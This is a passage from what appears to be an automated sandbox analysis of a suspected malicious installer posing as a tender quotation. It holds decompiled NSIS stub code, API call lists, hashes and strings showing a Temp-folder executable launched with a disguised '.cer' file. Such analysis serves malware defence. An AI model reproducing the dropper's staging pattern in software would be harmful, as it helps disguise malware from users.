          							E004066A5(0x423748, _t127, _t133,  &(0x423748[lstrlenW(0x423748)]),  *((intOrPtr*)(_t133 + 0x18)));
          							SetWindowTextW(_t127, 0x423748);
          							_push(_t136);
          							_t67 = E00401389( *((intOrPtr*)(_t133 + 8)));
          							__eflags = _t67;
          							if(_t67 != 0) {
          								continue;
          							} else {
          								__eflags =  *_t133 - _t136;
          								if( *_t133 == _t136) {
          									continue;
          								}
          								__eflags =  *(_t133 + 4) - 5;
          								if( *(_t133 + 4) != 5) {
          									DestroyWindow( *0x429238);
          									 *0x422720 = _t133;
          									__eflags =  *_t133 - _t136;
          									if( *_t133 <= _t136) {
          										goto L60;
          									}
          									_t73 = CreateDialogParamW( *0x42a260,  *_t133 +  *0x429240 & 0x0000ffff, _t127,  *(0x40a3a0 +  *(_t133 + 4) * 4), _t133);
          									__eflags = _t73 - _t136;
          									 *0x429238 = _t73;
          									if(_t73 == _t136) {
          										goto L60;
          									}
          									_push( *((intOrPtr*)(_t133 + 0x2c)));
          									_push(6);
          									E004045C4(_t73);
          									GetWindowRect(GetDlgItem(_t127, 0x3fa), _t137 + 0x10);
          									ScreenToClient(_t127, _t137 + 0x10);
          									SetWindowPos( *0x429238, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
          									_push(_t136);
          									E00401389( *((intOrPtr*)(_t133 + 0xc)));
          									__eflags =  *0x42922c - _t136;
          									if( *0x42922c != _t136) {
          										goto L63;
          									}
          									ShowWindow( *0x429238, 8);
          									E00404610(0x405);
          									goto L60;
          								}
          								__eflags =  *0x42a2ec - _t136;
          								if( *0x42a2ec != _t136) {
          									goto L63;
          								}
          								__eflags =  *0x42a2e0 - _t136;
          								if( *0x42a2e0 != _t136) {
          									continue;
          								}
          								goto L63;
          							}
          						}
          						DestroyWindow( *0x429238); // executed
          						 *0x42a268 = _t136;
          						EndDialog(_t127,  *0x421f18);
          						goto L60;
          					} else {
          						__eflags = _t34 - 1;
          						if(_t34 != 1) {
          							L35:
          							__eflags =  *_t133 - _t136;
          							if( *_t133 == _t136) {
          								goto L63;
          							}
          							goto L36;
          						}
          						_push(0);
          						_t86 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
          						__eflags = _t86;
          						if(_t86 == 0) {
          							goto L35;
          						}
          						SendMessageW( *0x429238, 0x40f, 0, 1);
          						__eflags =  *0x42922c;
          						return 0 |  *0x42922c == 0x00000000;
          					}
          				} else {
          					_t127 = _a4;
          					_t136 = 0;
          					if(_t130 == 0x47) {
          						SetWindowPos( *0x423728, _t127, 0, 0, 0, 0, 0x13);
          					}
          					_t122 = _a12;
          					if(_t130 != 5) {
          						L8:
          						if(_t130 != 0x40d) {
          							__eflags = _t130 - 0x11;
          							if(_t130 != 0x11) {
          								__eflags = _t130 - 0x111;
          								if(_t130 != 0x111) {
          									goto L28;
          								}
          								_t135 = _t122 & 0x0000ffff;
          								_t128 = GetDlgItem(_t127, _t135);
          								__eflags = _t128 - _t136;
          								if(_t128 == _t136) {
          									L15:
          									__eflags = _t135 - 1;
          									if(_t135 != 1) {
          										__eflags = _t135 - 3;
          										if(_t135 != 3) {
          											_t129 = 2;
          											__eflags = _t135 - _t129;
          											if(_t135 != _t129) {
          												L27:
          												SendMessageW( *0x429238, 0x111, _t122, _a16);
          												goto L28;
          											}
          											__eflags =  *0x42a2ec - _t136;
          											if( *0x42a2ec == _t136) {
          												_t99 = E0040140B(3);
          												__eflags = _t99;
          												if(_t99 != 0) {
          													goto L28;
          												}
          												 *0x421f18 = 1;
          												L23:
          												_push(0x78);
          												L24:
          												E0040459D();
          												goto L28;
          											}
          											E0040140B(_t129);
          											 *0x421f18 = _t129;
          											goto L23;
          										}
          										__eflags =  *0x40a39c - _t136; // 0x0
          										if(__eflags <= 0) {
          											goto L27;
          										}
          										_push(0xffffffff);
          										goto L24;
          									}
          									_push(_t135);
          									goto L24;
          								}
          								SendMessageW(_t128, 0xf3, _t136, _t136);
          								_t103 = IsWindowEnabled(_t128);
          								__eflags = _t103;
          								if(_t103 == 0) {
          									L63:
          									return 0;
          								}
          								goto L15;
          							}
          							SetWindowLongW(_t127, _t136, _t136);
          							return 1;
          						}
          						DestroyWindow( *0x429238);
          						 *0x429238 = _t122;
          						L60:
          						_t145 =  *0x425748 - _t136; // 0x0
          						if(_t145 == 0 &&  *0x429238 != _t136) {
          							ShowWindow(_t127, 0xa);
          							 *0x425748 = 1;
          						}
          						goto L63;
          					} else {
          						asm("sbb eax, eax");
          						ShowWindow( *0x423728,  ~(_t122 - 1) & 0x00000005);
          						if(_t122 != 2 || (GetWindowLongW(_t127, 0xfffffff0) & 0x21010000) != 0x1000000) {
          							L28:
          							return E0040462B(_a8, _t122, _a16);
          						} else {
          							ShowWindow(_t127, 4);
          							goto L8;
          						}
          					}
          				}
          			}
































          0x004040d0
          0x004040d7
          0x0040423e
          0x00404242
          0x00404246
          0x00404248
          0x0040424d
          0x00404258
          0x00404263
          0x00404268
          0x0040426a
          0x0040426c
          0x0040426f
          0x00404274
          0x00404282
          0x0040428f
          0x00404296
          0x00404296
          0x00404297
          0x00404297
          0x0040429c
          0x004042a2
          0x004042a9
          0x004042af
          0x004042b1
          0x004042f1
          0x004042f6
          0x004042fb
          0x004042fb
          0x00404300
          0x00404309
          0x0040430b
          0x00404310
          0x00404316
          0x0040431a
          0x0040431a
          0x0040431f
          0x00404325
          0x00000000
          0x00000000
          0x00404330
          0x00404336
          0x00000000
          0x00000000
          0x0040433f
          0x00404347
          0x0040434c
          0x0040434f
          0x00404355
          0x0040435a
          0x0040435d
          0x00404363
          0x00404368
          0x0040436b
          0x00404371
          0x00404379
          0x0040437f
          0x00404385
          0x00404389
          0x00404390
          0x00404390
          0x00404390
          0x0040439a
          0x004043ac
          0x004043b8
          0x004043bd
          0x004043c7
          0x004043cd
          0x004043cf
          0x004043d4
          0x004043d1
          0x004043d1
          0x004043d1
          0x004043e4
          0x004043fc
          0x004043fe
          0x00404404
          0x00404419
          0x00404406
          0x0040440f
          0x00404411
          0x00404411
          0x0040441f
          0x00404430
          0x00404446
          0x0040444d
          0x00404453
          0x00404457
          0x0040445c
          0x0040445e
          0x00000000
          0x00404464
          0x00404464
          0x00404466
          0x00000000
          0x00000000
          0x0040446c
          0x00404470
          0x00404495
          0x0040449b
          0x004044a1
          0x004044a3
          0x00000000
          0x00000000
          0x004044c9
          0x004044cf
          0x004044d1
          0x004044d6
          0x00000000
          0x00000000
          0x004044dc
          0x004044df
          0x004044e2
          0x004044f9
          0x00404505
          0x0040451e
          0x00404524
          0x00404528
          0x0040452d
          0x00404533
          0x00000000
          0x00000000
          0x0040453d
          0x00404548
          0x00000000
          0x00404548
          0x00404472
          0x00404478
          0x00000000
          0x00000000
          0x0040447e
          0x00404484
          0x00000000
          0x00000000
          0x00000000
          0x0040448a
          0x0040445e
          0x00404555
          0x00404561
          0x00404568
          0x00000000
          0x004042b3
          0x004042b3
          0x004042b6
          0x004042e9
          0x004042e9
          0x004042eb
          0x00000000
          0x00000000
          0x00000000
          0x004042eb
          0x004042b8
          0x004042bc
          0x004042c1
          0x004042c3
          0x00000000
          0x00000000
          0x004042d3
          0x004042db
          0x00000000
          0x004042e1
          0x004040e9
          0x004040e9
          0x004040ed
          0x004040f2
          0x00404101
          0x00404101
          0x00404107
          0x0040410e
          0x00404152
          0x00404158
          0x00404171
          0x00404174
          0x00404187
          0x0040418d
          0x00000000
          0x00000000
          0x00404193
          0x0040419e
          0x004041a0
          0x004041a2
          0x004041c1
          0x004041c1
          0x004041c4
          0x004041c9
          0x004041cc
          0x004041dc
          0x004041dd
          0x004041df
          0x00404215
          0x00404225
          0x00000000
          0x00404225
          0x004041e1
          0x004041e7
          0x00404200
          0x00404205
          0x00404207
          0x00000000
          0x00000000
          0x00404209
          0x004041f5
          0x004041f5
          0x004041f7
          0x004041f7
          0x00000000
          0x004041f7
          0x004041ea
          0x004041ef
          0x00000000
          0x004041ef
          0x004041ce
          0x004041d4
          0x00000000
          0x00000000
          0x004041d6
          0x00000000
          0x004041d6
          0x004041c6
          0x00000000
          0x004041c6
          0x004041ac
          0x004041b3
          0x004041b9
          0x004041bb
          0x00404591
          0x00000000
          0x00404591
          0x00000000
          0x004041bb
          0x00404179
          0x00000000
          0x00404181
          0x00404160
          0x00404166
          0x0040456e
          0x0040456e
          0x00404574
          0x00404581
          0x00404587
          0x00404587
          0x00000000
          0x00404110
          0x00404115
          0x00404121
          0x0040412a
          0x0040422b
          0x00000000
          0x00404149
          0x0040414c
          0x00000000
          0x0040414c
          0x0040412a
          0x0040410e

          APIs
          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404101
          • ShowWindow.USER32(?), ref: 00404121
          • GetWindowLongW.USER32(?,000000F0), ref: 00404133
          • ShowWindow.USER32(?,00000004), ref: 0040414C
          • DestroyWindow.USER32 ref: 00404160
          • SetWindowLongW.USER32 ref: 00404179
          • GetDlgItem.USER32 ref: 00404198
          • SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004041AC
          • IsWindowEnabled.USER32(00000000), ref: 004041B3
          • GetDlgItem.USER32 ref: 0040425E
          • GetDlgItem.USER32 ref: 00404268
          • KiUserCallbackDispatcher.NTDLL(?,000000F2,?), ref: 00404282
          • SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004042D3
          • GetDlgItem.USER32 ref: 00404379
          • ShowWindow.USER32(00000000,?), ref: 0040439A
          • EnableWindow.USER32(?,?), ref: 004043AC
          • EnableWindow.USER32(?,?), ref: 004043C7
          • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004043DD
          • EnableMenuItem.USER32 ref: 004043E4
          • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004043FC
          • SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040440F
          • lstrlenW.KERNEL32(00423748,?,00423748,00000000), ref: 00404439
          • SetWindowTextW.USER32(?,00423748), ref: 0040444D
          • ShowWindow.USER32(?,0000000A), ref: 00404581
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: Window$Item$MessageSendShow$Enable$LongMenu$CallbackDestroyDispatcherEnabledSystemTextUserlstrlen
          • String ID: H7B
          • API String ID: 2475350683-2300413410
          • Opcode ID: b499a380baa1669b9d39d87f51061d2fd0c3acf201e93ffa24678bb3f42416dd
          • Instruction ID: 1d4a55fced449df2e2a9dfc159c1061f424388fbea236c5341ec002980a30b6c
          • Opcode Fuzzy Hash: b499a380baa1669b9d39d87f51061d2fd0c3acf201e93ffa24678bb3f42416dd
          • Instruction Fuzzy Hash: C0C1C2B1600604FBDB216F61EE85E2A3B78EB85745F40097EF781B51F0CB3958529B2E
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 248 403d17-403d2f call 406a35 251 403d31-403d41 call 4065af 248->251 252 403d43-403d7a call 406536 248->252 260 403d9d-403dc6 call 403fed call 40603f 251->260 256 403d92-403d98 lstrcatW 252->256 257 403d7c-403d8d call 406536 252->257 256->260 257->256 266 403e58-403e60 call 40603f 260->266 267 403dcc-403dd1 260->267 273 403e62-403e69 call 4066a5 266->273 274 403e6e-403e93 LoadImageW 266->274 267->266 268 403dd7-403dff call 406536 267->268 268->266 277 403e01-403e05 268->277 273->274 275 403f14-403f1c call 40140b 274->275 276 403e95-403ec5 RegisterClassW 274->276 290 403f26-403f31 call 403fed 275->290 291 403f1e-403f21 275->291 279 403fe3 276->279 280 403ecb-403f0f SystemParametersInfoW CreateWindowExW 276->280 282 403e17-403e23 lstrlenW 277->282 283 403e07-403e14 call 405f64 277->283 288 403fe5-403fec 279->288 280->275 284 403e25-403e33 lstrcmpiW 282->284 285 403e4b-403e53 call 405f37 call 406668 282->285 283->282 284->285 289 403e35-403e3f GetFileAttributesW 284->289 285->266 294 403e41-403e43 289->294 295 403e45-403e46 call 405f83 289->295 301 403f37-403f51 ShowWindow call 4069c5 290->301 302 403fba-403fc2 call 40579d 290->302 291->288 294->285 294->295 295->285 309 403f53-403f58 call 4069c5 301->309 310 403f5d-403f6f GetClassInfoW 301->310 307 403fc4-403fca 302->307 308 403fdc-403fde call 40140b 302->308 307->291 311 403fd0-403fd7 call 40140b 307->311 308->279 309->310 314 403f71-403f81 GetClassInfoW RegisterClassW 310->314 315 403f87-403faa DialogBoxParamW call 40140b 310->315 311->291 314->315 318 403faf-403fb8 call 403c67 315->318 318->288
          C-Code - Quality: 96%
          			E00403D17(void* __eflags) {
          				intOrPtr _v4;
          				intOrPtr _v8;
          				int _v12;
          				void _v16;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				intOrPtr* _t22;
          				void* _t30;
          				void* _t32;
          				int _t33;
          				void* _t36;
          				int _t39;
          				int _t40;
          				int _t44;
          				short _t63;
          				WCHAR* _t65;
          				signed char _t69;
          				WCHAR* _t76;
          				intOrPtr _t82;
          				WCHAR* _t87;
          
          				_t82 =  *0x42a270;
          				_t22 = E00406A35(2);
          				_t90 = _t22;
          				if(_t22 == 0) {
          					_t76 = 0x423748;
          					L"1033" = 0x30;
          					 *0x437002 = 0x78;
          					 *0x437004 = 0;
          					E00406536(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x423748, 0);
          					__eflags =  *0x423748;
          					if(__eflags == 0) {
          						E00406536(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x423748, 0);
          					}
          					lstrcatW(L"1033", _t76);
          				} else {
          					E004065AF(L"1033",  *_t22() & 0x0000ffff);
          				}
          				E00403FED(_t78, _t90);
          				_t86 = L"C:\\Users\\FRONTD~1\\AppData\\Local\\Temp";
          				 *0x42a2e0 =  *0x42a278 & 0x00000020;
          				 *0x42a2fc = 0x10000;
          				if(E0040603F(_t90, L"C:\\Users\\FRONTD~1\\AppData\\Local\\Temp") != 0) {
          					L16:
          					if(E0040603F(_t98, _t86) == 0) {
          						E004066A5(_t76, 0, _t82, _t86,  *((intOrPtr*)(_t82 + 0x118)));
          					}
          					_t30 = LoadImageW( *0x42a260, 0x67, 1, 0, 0, 0x8040); // executed
          					 *0x429248 = _t30;
          					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
          						L21:
          						if(E0040140B(0) == 0) {
          							_t32 = E00403FED(_t78, __eflags);
          							__eflags =  *0x42a300;
          							if( *0x42a300 != 0) {
          								_t33 = E0040579D(_t32, 0);
          								__eflags = _t33;
          								if(_t33 == 0) {
          									E0040140B(1);
          									goto L33;
          								}
          								__eflags =  *0x42922c;
          								if( *0x42922c == 0) {
          									E0040140B(2);
          								}
          								goto L22;
          							}
          							ShowWindow( *0x423728, 5); // executed
          							_t39 = E004069C5("RichEd20"); // executed
          							__eflags = _t39;
          							if(_t39 == 0) {
          								E004069C5("RichEd32");
          							}
          							_t87 = L"RichEdit20W";
          							_t40 = GetClassInfoW(0, _t87, 0x429200);
          							__eflags = _t40;
          							if(_t40 == 0) {
          								GetClassInfoW(0, L"RichEdit", 0x429200);
          								 *0x429224 = _t87;
          								RegisterClassW(0x429200);
          							}
          							_t44 = DialogBoxParamW( *0x42a260,  *0x429240 + 0x00000069 & 0x0000ffff, 0, E004040C5, 0); // executed
          							E00403C67(E0040140B(5), 1);
          							return _t44;
          						}
          						L22:
          						_t36 = 2;
          						return _t36;
          					} else {
          						_t78 =  *0x42a260;
          						 *0x429204 = E00401000;
          						 *0x429210 =  *0x42a260;
          						 *0x429214 = _t30;
          						 *0x429224 = 0x40a3b4;
          						if(RegisterClassW(0x429200) == 0) {
          							L33:
          							__eflags = 0;
          							return 0;
          						}
          						SystemParametersInfoW(0x30, 0,  &_v16, 0);
          						 *0x423728 = CreateWindowExW(0x80, 0x40a3b4, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x42a260, 0);
          						goto L21;
          					}
          				} else {
          					_t78 =  *(_t82 + 0x48);
          					_t92 = _t78;
          					if(_t78 == 0) {
          						goto L16;
          					}
          					_t76 = 0x428200;
          					E00406536(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x42a298 + _t78 * 2,  *0x42a298 +  *(_t82 + 0x4c) * 2, 0x428200, 0);
          					_t63 =  *0x428200; // 0x22
          					if(_t63 == 0) {
          						goto L16;
          					}
          					if(_t63 == 0x22) {
          						_t76 = 0x428202;
          						 *((short*)(E00405F64(0x428202, 0x22))) = 0;
          					}
          					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
          					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
          						L15:
          						E00406668(_t86, E00405F37(_t76));
          						goto L16;
          					} else {
          						_t69 = GetFileAttributesW(_t76);
          						if(_t69 == 0xffffffff) {
          							L14:
          							E00405F83(_t76);
          							goto L15;
          						}
          						_t98 = _t69 & 0x00000010;
          						if((_t69 & 0x00000010) != 0) {
          							goto L15;
          						}
          						goto L14;
          					}
          				}
          			}
























          0x00403d1d
          0x00403d26
          0x00403d2d
          0x00403d2f
          0x00403d43
          0x00403d55
          0x00403d5e
          0x00403d67
          0x00403d6e
          0x00403d73
          0x00403d7a
          0x00403d8d
          0x00403d8d
          0x00403d98
          0x00403d31
          0x00403d3c
          0x00403d3c
          0x00403d9d
          0x00403da7
          0x00403db0
          0x00403db5
          0x00403dc6
          0x00403e58
          0x00403e60
          0x00403e69
          0x00403e69
          0x00403e7f
          0x00403e85
          0x00403e93
          0x00403f14
          0x00403f1c
          0x00403f26
          0x00403f2b
          0x00403f31
          0x00403fbb
          0x00403fc0
          0x00403fc2
          0x00403fde
          0x00000000
          0x00403fde
          0x00403fc4
          0x00403fca
          0x00403fd2
          0x00403fd2
          0x00000000
          0x00403fca
          0x00403f3f
          0x00403f4a
          0x00403f4f
          0x00403f51
          0x00403f58
          0x00403f58
          0x00403f63
          0x00403f6b
          0x00403f6d
          0x00403f6f
          0x00403f78
          0x00403f7b
          0x00403f81
          0x00403f81
          0x00403fa0
          0x00403fb1
          0x00000000
          0x00403fb6
          0x00403f1e
          0x00403f20
          0x00000000
          0x00403e95
          0x00403e95
          0x00403ea1
          0x00403eab
          0x00403eb1
          0x00403eb6
          0x00403ec5
          0x00403fe3
          0x00403fe3
          0x00000000
          0x00403fe3
          0x00403ed4
          0x00403f0f
          0x00000000
          0x00403f0f
          0x00403dcc
          0x00403dcc
          0x00403dcf
          0x00403dd1
          0x00000000
          0x00000000
          0x00403ddf
          0x00403df1
          0x00403df6
          0x00403dff
          0x00000000
          0x00000000
          0x00403e05
          0x00403e07
          0x00403e14
          0x00403e14
          0x00403e1d
          0x00403e23
          0x00403e4b
          0x00403e53
          0x00000000
          0x00403e35
          0x00403e36
          0x00403e3f
          0x00403e45
          0x00403e46
          0x00000000
          0x00403e46
          0x00403e41
          0x00403e43
          0x00000000
          0x00000000
          0x00000000
          0x00403e43
          0x00403e23

          APIs
            • Part of subcall function 00406A35: GetModuleHandleA.KERNEL32(?,00000020,?,00403750,0000000B), ref: 00406A47
            • Part of subcall function 00406A35: GetProcAddress.KERNEL32(00000000,?), ref: 00406A62
          • lstrcatW.KERNEL32(1033,00423748), ref: 00403D98
          • lstrlenW.KERNEL32("C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,?,?,?,"C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,00000000,C:\Users\user~1\AppData\Local\Temp,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,772EFAA0), ref: 00403E18
          • lstrcmpiW.KERNEL32(?,.exe,"C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,?,?,?,"C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,00000000,C:\Users\user~1\AppData\Local\Temp,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000), ref: 00403E2B
          • GetFileAttributesW.KERNEL32("C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer,?,00000000,?), ref: 00403E36
          • LoadImageW.USER32 ref: 00403E7F
            • Part of subcall function 004065AF: wsprintfW.USER32 ref: 004065BC
          • RegisterClassW.USER32 ref: 00403EBC
          • SystemParametersInfoW.USER32 ref: 00403ED4
          • CreateWindowExW.USER32 ref: 00403F09
          • ShowWindow.USER32(00000005,00000000,?,00000000,?), ref: 00403F3F
          • GetClassInfoW.USER32 ref: 00403F6B
          • GetClassInfoW.USER32 ref: 00403F78
          • RegisterClassW.USER32 ref: 00403F81
          • DialogBoxParamW.USER32 ref: 00403FA0
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
          • String ID: "C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user~1\AppData\Local\Temp$C:\Users\user~1\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$H7B$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
          • API String ID: 1975747703-2007745399
          • Opcode ID: 53155da091c4b3d7a5df89bad193350c55a8525543a5f9d2669ac1eab67f041a
          • Instruction ID: e235badc60aeba35c86cf297cd954ec43a22164425911800af60bc979c7621a1
          • Opcode Fuzzy Hash: 53155da091c4b3d7a5df89bad193350c55a8525543a5f9d2669ac1eab67f041a
          • Instruction Fuzzy Hash: E661D570640201BAD730AF66AD45E2B3A7CEB84B49F40457FF945B22E1DB3D5911CA3D
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 322 4030d0-40311e GetTickCount GetModuleFileNameW call 406158 325 403120-403125 322->325 326 40312a-403158 call 406668 call 405f83 call 406668 GetFileSize 322->326 327 40336a-40336e 325->327 334 403243-403251 call 40302e 326->334 335 40315e 326->335 342 403322-403327 334->342 343 403257-40325a 334->343 337 403163-40317a 335->337 338 40317c 337->338 339 40317e-403187 call 4035e2 337->339 338->339 348 40318d-403194 339->348 349 4032de-4032e6 call 40302e 339->349 342->327 345 403286-4032d2 GlobalAlloc call 406b90 call 406187 CreateFileW 343->345 346 40325c-403274 call 4035f8 call 4035e2 343->346 373 4032d4-4032d9 345->373 374 4032e8-403318 call 4035f8 call 403371 345->374 346->342 368 40327a-403280 346->368 352 403210-403214 348->352 353 403196-4031aa call 406113 348->353 349->342 357 403216-40321d call 40302e 352->357 358 40321e-403224 352->358 353->358 371 4031ac-4031b3 353->371 357->358 364 403233-40323b 358->364 365 403226-403230 call 406b22 358->365 364->337 372 403241 364->372 365->364 368->342 368->345 371->358 376 4031b5-4031bc 371->376 372->334 373->327 382 40331d-403320 374->382 376->358 379 4031be-4031c5 376->379 379->358 381 4031c7-4031ce 379->381 381->358 383 4031d0-4031f0 381->383 382->342 384 403329-40333a 382->384 383->342 385 4031f6-4031fa 383->385 386 403342-403347 384->386 387 40333c 384->387 388 403202-40320a 385->388 389 4031fc-403200 385->389 391 403348-40334e 386->391 387->386 388->358 390 40320c-40320e 388->390 389->372 389->388 390->358 391->391 392 403350-403368 call 406113 391->392 392->327
          C-Code - Quality: 98%
          			E004030D0(void* __eflags, signed int _a4) {
          				DWORD* _v8;
          				DWORD* _v12;
          				intOrPtr _v16;
          				long _v20;
          				intOrPtr _v24;
          				intOrPtr _v28;
          				intOrPtr _v32;
          				intOrPtr _v36;
          				signed int _v40;
          				short _v560;
          				long _t54;
          				void* _t57;
          				void* _t62;
          				intOrPtr _t65;
          				void* _t68;
          				intOrPtr* _t70;
          				long _t82;
          				signed int _t89;
          				intOrPtr _t92;
          				long _t94;
          				void* _t102;
          				void* _t106;
          				long _t107;
          				long _t110;
          				void* _t111;
          
          				_t94 = 0;
          				_v8 = 0;
          				_v12 = 0;
          				 *0x42a26c = GetTickCount() + 0x3e8;
          				GetModuleFileNameW(0, L"C:\\Users\\frontdesk\\Desktop\\Tender_QUOTATION__LH22000309AA2023.exe", 0x400);
          				_t106 = E00406158(L"C:\\Users\\frontdesk\\Desktop\\Tender_QUOTATION__LH22000309AA2023.exe", 0x80000000, 3);
          				 *0x40a018 = _t106;
          				if(_t106 == 0xffffffff) {
          					return L"Error launching installer";
          				}
          				E00406668(L"C:\\Users\\frontdesk\\Desktop", L"C:\\Users\\frontdesk\\Desktop\\Tender_QUOTATION__LH22000309AA2023.exe");
          				E00406668(0x439000, E00405F83(L"C:\\Users\\frontdesk\\Desktop"));
          				_t54 = GetFileSize(_t106, 0);
          				 *0x420f00 = _t54;
          				_t110 = _t54;
          				if(_t54 <= 0) {
          					L24:
          					E0040302E(1);
          					if( *0x42a274 == _t94) {
          						goto L32;
          					}
          					if(_v12 == _t94) {
          						L28:
          						_t57 = GlobalAlloc(0x40, _v20); // executed
          						_t111 = _t57;
          						E00406B90(0x40ce68);
          						E00406187(0x40ce68,  &_v560, L"C:\\Users\\FRONTD~1\\AppData\\Local\\Temp\\"); // executed
          						_t62 = CreateFileW( &_v560, 0xc0000000, _t94, _t94, 2, 0x4000100, _t94); // executed
          						 *0x40a01c = _t62;
          						if(_t62 != 0xffffffff) {
          							_t65 = E004035F8( *0x42a274 + 0x1c);
          							 *0x420f04 = _t65;
          							 *0x420ef8 = _t65 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
          							_t68 = E00403371(_v16, 0xffffffff, _t94, _t111, _v20); // executed
          							if(_t68 == _v20) {
          								 *0x42a270 = _t111;
          								 *0x42a278 =  *_t111;
          								if((_v40 & 0x00000001) != 0) {
          									 *0x42a27c =  *0x42a27c + 1;
          								}
          								_t45 = _t111 + 0x44; // 0x44
          								_t70 = _t45;
          								_t102 = 8;
          								do {
          									_t70 = _t70 - 8;
          									 *_t70 =  *_t70 + _t111;
          									_t102 = _t102 - 1;
          								} while (_t102 != 0);
          								 *((intOrPtr*)(_t111 + 0x3c)) =  *0x420ef4;
          								E00406113(0x42a280, _t111 + 4, 0x40);
          								return 0;
          							}
          							goto L32;
          						}
          						return L"Error writing temporary file. Make sure your temp folder is valid.";
          					}
          					E004035F8( *0x420ef0);
          					if(E004035E2( &_a4, 4) == 0 || _v8 != _a4) {
          						goto L32;
          					} else {
          						goto L28;
          					}
          				} else {
          					do {
          						_t107 = _t110;
          						asm("sbb eax, eax");
          						_t82 = ( ~( *0x42a274) & 0x00007e00) + 0x200;
          						if(_t110 >= _t82) {
          							_t107 = _t82;
          						}
          						if(E004035E2(0x418ef0, _t107) == 0) {
          							E0040302E(1);
          							L32:
          							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
          						}
          						if( *0x42a274 != 0) {
          							if((_a4 & 0x00000002) == 0) {
          								E0040302E(0);
          							}
          							goto L20;
          						}
          						E00406113( &_v40, 0x418ef0, 0x1c);
          						_t89 = _v40;
          						if((_t89 & 0xfffffff0) == 0 && _v36 == 0xdeadbeef && _v24 == 0x74736e49 && _v28 == 0x74666f73 && _v32 == 0x6c6c754e) {
          							_a4 = _a4 | _t89;
          							 *0x42a300 =  *0x42a300 | _a4 & 0x00000002;
          							_t92 = _v16;
